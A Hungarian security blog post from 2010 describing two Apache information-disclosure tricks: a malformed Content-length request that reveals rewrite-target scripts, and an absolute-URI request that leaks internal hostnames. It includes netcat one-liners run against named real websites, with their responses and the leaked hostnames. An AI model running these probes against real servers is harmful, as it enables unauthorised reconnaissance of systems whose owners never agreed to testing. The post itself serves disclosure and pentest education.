Tweets by @buherablog
profile for buherator at IT Security Stack Exchange, Q&A for IT security professionals

A BitBetyár Blog

Túljártál a nagyokosok eszén? Küldd be a mutatványodat! (e-mail a buherator gmailkomra jöhet)

Full-Disclosure / Névjegy / Coming out


Promó

H.A.C.K.

Címkék

0day (110) adobe (87) adobe reader (21) anonymous (26) apple (60) az olvasó ír (49) blackhat (20) botnet (22) bug (200) buherablog (44) buhera sörözés (39) bukta (49) deface (38) dns (22) dos (29) esemény (82) facebook (26) firefox (64) flash (33) gondolat (31) google (59) google chrome (36) hacktivity (37) hírek (117) incidens (224) internet explorer (88) iphone (35) java (50) jog (22) kína (21) kriptográfia (68) kultúra (21) linux (24) malware (43) microsoft (142) móka (48) mozilla (23) office (26) oracle (40) os x (43) patch (197) php (20) politika (31) privacy (58) programozás (22) safari (34) sql injection (62) windows (85) xss (77) Címkefelhő

Licensz

Creative Commons Licenc

Apache információszivárgás

2010.06.04. 11:15 | buherator | 3 komment

A Niobium Attack Research nem rég meglepett néhány hasznos leírással, ezeket sorban fogom közölni itt a blogon. Először két Apache-ot érintő információszivárgásról lesz szó, melyeket a keresőbarát URL-eket használó webhelyek egyre növekvő számára való tekintettel minden bizonnyal sok helyen lehet majd hasznosítani.

Szöszöltem egy keveset a kedvenc webszerverünkkel, leírok néhány megfigyelést ami esetleg támpontot adhat egy támadónak/penteszternek/auditornak.

Az első bug segítségével egyszerűen megtudhatod hogy mi az indexfájl neve, vagy hogy a rewrite rule minek adja át a csokit.

Kezdjük mondjuk a rewrite-al az az érdekesebb.

Vannak ezek a friendly url-ek mint ahogy én is csináltam:

http://niobium.hu/id/3

RewriteEngine On

RewriteRule /id/(.*)$ /index.php?id=$1

vagy

RewriteRule /id/(\d+)$ /index.php?id=$1

Halom oldal így működik.

Te mint támadó szeretnéd megtudni hogy mi a rewrite szabály, azért mert:

  • tudni akarod hogy mi a php/cgi/etc neve ami kapja
  • tudni akarod hogy mi az a változó amibe kapja
  • buzerálni akarod mert úgysem bírod ki
  • satöbbi.

A rewrite rule első fele részben vagy egészben visszafejthető, a változó megtalálására is van jó módszer, de ez a post most nem erről szól.

Azt hogy mi a második fele, azaz a php/cgi neve azt egy olcsó kis hibaüzenetből meg tudod állapítani, amelyet a következőképpen triggerelsz:

echo -ne "POST / HTTP/1.1\nHost: wwww.valami.tld\nConnection: close\nContent-length: x\n\n" | nc wwww.valami.tld 80 | less

A kulcs a POST és a Content-length elbaszott értéke, amire kapunk egy "413 Request Entity Too Large" hibaüzit.

Ha authorization kell akkor acc nélkül nem müxx.

Nem teljesen normális működést produkál: a legtöbb esetben megkapod a 413-at, majd body-ban a hibaüzit, és furmányos módon egyből utána a php/cgi/akármi kimenetét: azaz a cgi lefutott.

Nézzük élesben működő szájtokon:

# H=ha.ckers.org; echo -ne "POST /blog/category/webappsec/books/ HTTP/1.1\nHost: $H\nConnection: close\nContent-length: x\n\n" | nc $H 80 | less

Erre valami ilyet fogsz látni lessben:

HTTP/1.1 413 Request Entity Too Large

Date: Fri, 30 Apr 2010 22:30:03 GMT

Server: Apache

Connection: close

Content-Type: text/html; charset=iso-8859-1

 

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>413 Request Entity Too Large</title>

</head><body>

<h1>Request Entity Too Large</h1>

The requested resource<br />/blog/index.php<br />

does not allow request data with GET requests, or the amount of data provided in

the request exceeds the capacity limit.

<p>Additionally, a 404 Not Found

error was encountered while trying to use an ErrorDocument to handle the request.</p>

</body></html>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<HTML>

  <HEAD>

    <META HTTP-EQUIV="Content-Type" content="text/html; charset=ISO-8859-1" />

    <TITLE>  Books ha.ckers.org web application security lab</TITLE>

    <META NAME="generator" content="vim" />

    <META NAME="description" CONTENT="web application security blog">

...

Vastaggal kiemeltem.

Vizsgáljunk meg néhány security-s szájtot ezzel a kis leak-fu-val hogy ki mire rewrite-ol:

  • packetstormsecurity.nl - /index.html
  • neworder.box.sk - /index.php
  • milw0rm.com - /index.php
  • carnal0wnage.attackresearch.com - /index.php
  • security.hu - /index.html

H=bindshell.net;

echo -ne "POST / HTTP/1.1\nHost: $H\nConnection: close\nContent-length: x\n\n" | nc $H 80 | less

echo -ne "POST /x HTTP/1.1\nHost: $H\nConnection: close\nContent-length: x\n\n" | nc $H 80 | less

bindshell.net - /frontpage.php # az indexfajl

bindshell.net - /multiplex.php # rewrite

Nézzük a másik leaket... 

Kétféleképpen lehet triggerelni de konfiguráció függő:

1.: GET http://0:x/

2.: GET http://[

Íme a példa

H=www.hacktivity.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less

H=www.exploit-db.com; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less

H=www.pannon.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less

H=www.itsecurity.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less

H=www.isaca.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less

H=www.cisco.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less

H=www.aruba.hu; host $H; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less

H=www.silentsignal.hu; echo -ne "GET http://0:x/ HTTP/1.1\nHost: $H\nConnection: close\n\n" | nc $H 80 | less

sorrendben:

  • bitnet.hu.hu
  • explo.it
  • pweb1.dmz.pgsm.hu
  • www.ophrys.com
  • isacahu.com
  • stats.tvnet.hu
  • www.forpsi.hu
  • server2.cs-source.hu

Címkék: apache az olvasó ír

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

süti beállítások módosítása